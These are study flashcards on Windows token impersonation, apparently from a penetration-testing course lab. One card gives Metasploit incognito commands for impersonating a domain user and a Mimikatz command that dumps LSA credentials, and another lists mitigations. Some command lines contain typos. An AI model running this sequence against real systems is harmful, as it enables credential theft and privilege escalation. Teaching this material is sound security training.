Token Impresonation Flashcards
1
Q
What is a token
A
Temporary keys (cookie for system)
2
Q
How many types of token exists ?
A
2 types:
- Delegate
- Impersonate
3
Q
Pop a shell and load incognito (msf module) => Token Impersonation
A
msf > impersonate_token marverl\fcastle
msf > shell
msf> whoami
(If admin token =>)
msf> Invoke-Mimikatz -Command ‘“privilege::debug” “LSADump::LSA/patch” exit’ -Computer HYDRA?marvel.local
msf > privilege::debug
msf > LSADump::LSA /patch
4
Q
Mitigation of Token Impersonation
A
- Limit user/group token creation permissions
- Account tiering
- Local admin restriction